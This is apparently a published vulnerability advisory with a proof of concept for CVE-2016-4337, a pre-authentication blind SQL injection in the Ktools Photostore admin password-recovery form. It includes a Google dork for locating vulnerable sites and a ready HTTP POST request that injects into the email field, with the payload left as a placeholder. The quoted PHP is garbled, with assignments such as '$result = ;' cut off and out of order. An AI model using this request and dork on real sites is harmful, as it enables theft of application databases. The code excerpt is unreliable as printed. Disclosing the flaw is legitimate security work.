Ktools Photostore 4.7.5 Blind SQL Injection

`Title : Ktools Photostore <= 4.7.5 (Pre-Authentication) Blind SQL Injection  
CVE-ID : CVE-2016-4337  
Google Dork: inurl:mgr.login.php  
Product : Photostore  
Affected : Versions prior to 4.7.5  
Impact : Critical  
Remote : Yes  
Website link: http://www.ktools.net  
Reported : 02/06/2016  
Authors : Gal Goldshtein and Viktor Minin  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
No authentication (login) is required to exploit this vulnerability.  
The Photostore application password recovery module is prone to a blind sql injection attack.  
An attacker can exploit this vulnerability to retrieve all the data stored in the application's database.  
  
  
Vulnerable code is located in the mgr.login.php file:  
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
case 'recover_login': {  
mysqli_query( $db, '' . 'SELECT username,password,email,admin_id FROM ' . $dbinfo[pre] . 'admins where email = \'' . $_POST['email'] . '\'' );  
$result = ;  
mysqli_num_rows( $result );  
$returned_rows = ;  
mysqli_fetch_array( $result );  
$db_admin_user = ;  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
PoC:  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
POST /photostore/manager/mgr.login.php?pmode=recover_login HTTP/1.1  
Host: victim.net  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://server/photostore/manager/mgr.login.php?username=demo&password=demo  
Cookie: member[umem_id]=58C05864CA6A59DBGHJSKDHGDGS770D5; PHPSESSID=30afayreighgfdgucb0d2b0c6dece3158  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 9  
  
email=%27%20[SQL PAYLOAD];#  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
`